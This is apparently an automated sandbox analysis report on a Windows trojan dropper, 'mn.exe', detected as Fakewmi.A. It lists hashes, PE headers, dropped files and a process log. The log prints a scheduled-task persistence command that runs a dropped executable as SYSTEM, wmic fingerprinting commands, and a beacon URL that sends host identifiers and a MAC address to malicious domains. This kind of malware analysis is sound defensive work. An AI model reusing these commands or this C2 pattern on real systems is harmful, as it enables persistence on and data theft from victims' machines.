| File name: | mn.exe |
| Full analysis: | https://app.any.run/tasks/3bff01e4-7426-483b-9b3b-73717f8bb1ce |
| Verdict: | Malicious activity |
| Analysis date: | March 14, 2019, 06:00:38 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 66EA09330BEE7239FCB11A911F8E8EA3 |
| SHA1: | 4825E41524DECDB4B8A68205D9A4CD1D1AF501C0 |
| SHA256: | AAEF385A090D83639FB924C679B2FF22E90AE9377774674D537670A975513397 |
| SSDEEP: | 3072:H31w+JUlVQSMGYSIfSHMC77JKhmSeVHCJK4:H3IQF3SIavfJKjad4 |
MALICIOUS
Writes to a start menu file
- cmd.exe (PID: 3828)
- mn.exe (PID: 2956)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 2872)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 3996)
- schtasks.exe (PID: 2492)
- schtasks.exe (PID: 3876)
Application was dropped or rewritten from another process
- V1ESPzbq.exe (PID: 2716)
SUSPICIOUS
Starts CMD.EXE for commands execution
- mn.exe (PID: 2956)
Creates files in the user directory
- cmd.exe (PID: 3828)
- cmd.exe (PID: 3884)
Executable content was dropped or overwritten
- cmd.exe (PID: 3828)
- cmd.exe (PID: 3884)
- mn.exe (PID: 2956)
Starts SC.EXE for service management
- cmd.exe (PID: 2872)
Uses WMIC.EXE to obtain a list of video controllers
- V1ESPzbq.exe (PID: 2716)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2019:03:12 08:57:49+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 14.16 |
| CodeSize: | 124928 |
| InitializedDataSize: | 9728 |
| UninitializedDataSize: | 3072 |
| EntryPoint: | 0xd0c8 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 12-Mar-2019 07:57:49 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000100 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 12-Mar-2019 07:57:49 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.data | 0x00001000 | 0x0001E6E4 | 0x0001E800 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 6.4281 |
.bss | 0x00020000 | 0x00000A68 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.idata | 0x00021000 | 0x00000DA2 | 0x00000E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.39667 |
.rsrc | 0x00022000 | 0x000001E0 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.70436 |
.reloc | 0x00023000 | 0x00001414 | 0x00001600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.32996 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.91161 | 381 | UNKNOWN | English - United States | RT_MANIFEST |
Imports
ADVAPI32.dll |
CRYPT32.dll |
KERNEL32.dll |
SHLWAPI.dll |
USER32.dll |
urlmon.dll |
Total processes
55
Monitored processes
17
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2160 | Wmic Path Win32_VideoController Get Description | C:\Windows\System32\Wbem\Wmic.exe | — | V1ESPzbq.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2492 | schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN pgWmcb2qQ4 /tr "cmd.exe /c C:\Windows\5PbFAJtl.exe" | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2716 | "C:\Users\admin\AppData\Roaming\V1ESPzbq.exe" | C:\Users\admin\AppData\Roaming\V1ESPzbq.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2776 | wmic csproduct get UUID | C:\Windows\System32\Wbem\wmic.exe | — | V1ESPzbq.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2872 | cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN pgWmcb2qQ4 /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN pgWmcb2qQ4 /tr "cmd.exe /c C:\Windows\5PbFAJtl.exe"&schtasks /run /TN pgWmcb2qQ4) | C:\Windows\system32\cmd.exe | — | mn.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2944 | /c "C:\Users\admin\AppData\Local\Temp\1682031.bat" | C:\Windows\system32\cmd.exe | — | mn.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2956 | "C:\Users\admin\AppData\Local\Temp\mn.exe" | C:\Users\admin\AppData\Local\Temp\mn.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3368 | sc start Schedule | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: A tool to aid in developing services for WindowsNT Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3436 | ping localhost | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3468 | sc query Schedule | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
166
Read events
148
Write events
18
Delete events
0
Modification events
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2716) V1ESPzbq.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\V1ESPzbq_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
3
Suspicious files
0
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2956 | mn.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fCIYlpiJ.exe | — | |
MD5:— | SHA256:— | |||
| 2956 | mn.exe | C:\Users\admin\AppData\Local\Temp\1682031.bat | text | |
MD5:— | SHA256:— | |||
| 2956 | mn.exe | C:\Users\admin\AppData\Local\Temp\1684046.bat | text | |
MD5:— | SHA256:— | |||
| 2956 | mn.exe | C:\Users\admin\AppData\Local\Temp\1678015.bat | text | |
MD5:— | SHA256:— | |||
| 3828 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fCIYlpiJ.exe | executable | |
MD5:— | SHA256:— | |||
| 2956 | mn.exe | C:\Users\admin\AppData\Local\Temp\1688703.bat | text | |
MD5:— | SHA256:— | |||
| 3884 | cmd.exe | C:\Users\admin\AppData\Roaming\V1ESPzbq.exe | executable | |
MD5:— | SHA256:— | |||
| 2956 | mn.exe | C:\Users\admin\AppData\Roaming\V1ESPzbq.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
3
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2716 | V1ESPzbq.exe | GET | 404 | 153.92.4.49:80 | http://pp.abbny.com/t.php?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&MAC=52:54:00:4A:04:AF&OS=Windows%207&BIT=32&CARD=Standard%20VGA%20Graphics%20Adapter&_T=1552543284 | US | html | 198 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2716 | V1ESPzbq.exe | 153.92.4.49:80 | pp.abbny.com | — | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ii.ackng.com |
| malicious |
pp.abbny.com |
| malicious |
oo.beahh.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2716 | V1ESPzbq.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanDropper:Win32/Fakewmi.A |